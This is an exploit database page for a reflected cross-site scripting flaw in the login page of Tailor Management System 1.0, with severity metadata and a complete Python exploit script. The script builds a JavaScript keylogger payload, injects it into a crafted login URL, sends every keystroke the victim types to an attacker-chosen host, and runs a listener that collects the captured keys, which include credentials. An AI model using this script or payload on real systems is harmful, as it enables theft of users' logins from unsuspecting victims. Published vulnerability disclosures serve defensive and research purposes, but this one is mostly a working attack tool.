Exploitalert - Database of Exploits

Tailor MS 1.0 Cross Site Scripting

CVE	Category	Price	Severity
N/A	CWE-79	N/A	High

Author	Risk	Exploitation Type	Date
N/A	High	Remote	2020-08-11

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N	0.01658	0.37122

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2020080050

Tailor MS 1.0 Cross Site Scripting

# Exploit Title: Tailor MS v1.0 - Reflected XSS Key Logger # Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) # Date: August 9th, 2020 # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/tailor.zip # Version: 1.0 # Tested On: Windows 10 Pro + XAMPP | Python 2.7 # OWASP Top Ten 2017: A7:2017-Cross-Site Scripting (XSS) # CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - Type 1: Reflected XSS # CWE-523: Unprotected Transport of Credentials # CVSS Base Score: 6.4 # Impact Subscore: 4.7 # Exploitability Subscore: 1.6 # CVSS v3.1 Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L # Vulnerability Description: # Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of SourceCodesters Tailor Management System v1.0 allows remote attackers to harvest keys pressed via unauthenticated victim clicking malicious URL and typing. import socket,sys,urllib,re from thread import * from colorama import Fore, Style F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE] S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT] ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0] err = S[3]+F[2]+'<========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0] R, C, G = Fore.RED, Fore.CYAN, Fore.GREEN def urlEncode(javascript): return urllib.quote(javascript) def genXssPayload(LHOST,LPORT): XSS_PAYLOAD = '<script>' XSS_PAYLOAD += 'var xhr = new XMLHttpRequest();' XSS_PAYLOAD += 'document.onkeypress = function keyLogger(key) {' XSS_PAYLOAD += 'key_press = String.fromCharCode(key.which);' XSS_PAYLOAD += 'var uri = "http://'+LHOST+':'+LPORT+'?KEY="+key_press;' XSS_PAYLOAD += 'xhr.open("GET", uri, true);' XSS_PAYLOAD += 'xhr.send();}' XSS_PAYLOAD += '</script>' return XSS_PAYLOAD def clientthread(conn): try: while True: data = conn.recv(1024) key = re.findall(r'KEY\=\w',data) key = re.sub('KEY\=','',key[0]) print(printKey(key)) if not data: break except: conn.close() def banner(): BANNER = S[3]+C+' _______ _______ _______ _______ _______ _______ _______ _______ _______ _______ _______ _______ \n' BANNER += C+'|\ /|\ /|\ /| |\ /|\ /|\ /| |\ /|\ /|\ /|\ /|\ /|\ /|\n' BANNER += C+'| +---+ | +---+ | +---+ | | +---+ | +---+ | +---+ | | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n' BANNER += C+'| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |\n' BANNER += C+'| | '+R+'X'+C+' | | | '+R+'$'+C+' | | | '+R+'$'+C+' | | | | '+R+'K'+C+' | | | '+R+'3'+C+' | | | '+R+'Y'+C+' | | | | '+R+'L'+C+' | | | '+R+'0'+C+' | | | '+R+'G'+C+' | | | '+R+'G'+C+' | | | '+R+'3'+C+' | | | '+R+'R'+C+' | |\n' BANNER += C+'| +---+ | +---+ | +---+ | | +---+ | +---+ | +---+ | | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n' BANNER += C+'|/_____\|/_____\|/_____\| |/_____\|/_____\|/_____\| |/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|\n\r\n' BANNER += ' '+R+'BOKU '+F[0]+'&'+C+' HYD3SEC'+F[0]+S[0]+'\r\n' return BANNER def printKey(key): keyGen = S[3]+C+' _______\n' keyGen += C+' |\ /|\n' keyGen += C+' | +---+ |\n' keyGen += C+' | | | |\n' keyGen += C+' | | '+R+key+C+' | |\n' keyGen += C+' | +---+ |\n' keyGen += C+' |/_____\|'+F[0]+S[0] return keyGen def header(): head = S[1]+F[2]+' __---* '+F[7]+'Tailor MS v1.0 '+F[2]+'| '+F[7]+'Reflected XSS Key Logger '+F[2]+'*---__\n'+S[0] return head def formatHelp(STRING): return S[3]+F[2]+STRING+S[0] if __name__ == "__main__": print(header()) print(banner()) if len(sys.argv) != 4: print(ok+formatHelp(" Usage: python %s <WEBAPP_URL> <LHOST> <LPORT>" % sys.argv[0])) print(ok+formatHelp(" Example: python %s 'http://172.16.65.134/tailor/' '172.16.65.1' 80\r\n" % sys.argv[0])) print(err+"Try Again..\r\n") sys.exit(-1) WEBAPP_URL = sys.argv[1] LHOST = sys.argv[2] LPORT = sys.argv[3] if not re.match(r".*/$", WEBAPP_URL): WEBAPP_URL = WEBAPP_URL+'/' WEBAPP_URL = WEBAPP_URL+'index.php' PAYLOAD = genXssPayload(LHOST,LPORT) ENCODED_PAYLOAD = urlEncode(PAYLOAD) print(ok+F[0]+'To '+S[3]+F[2]+'Harvest Keys'+F[0]+S[0]+', have a'+F[3]+' User '+F[0]+'visit '+F[5]+'this URL'+F[0]+' and '+F[7]+'Login'+F[0]+':\r\n') print(S[3]+F[5]+WEBAPP_URL+'?error=ALL%20YOUR%20K3Y$%20ARE%20BELONG%20TO%20US.%20'+ENCODED_PAYLOAD+S[0]+'\r\n') LPORT = int(LPORT) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((LHOST,LPORT)) print(ok+S[1]+G+"Binding to Socket."+F[0]+S[0]) s.listen(100) print(ok+S[1]+G+"Listening on Socket for incoming connections."+F[0]+S[0]) try: while 1: conn, addr = s.accept() start_new_thread(clientthread ,(conn,)) except: s.close() print('\r\n'+err+"Exiting Keylogger Credential Harvester..")

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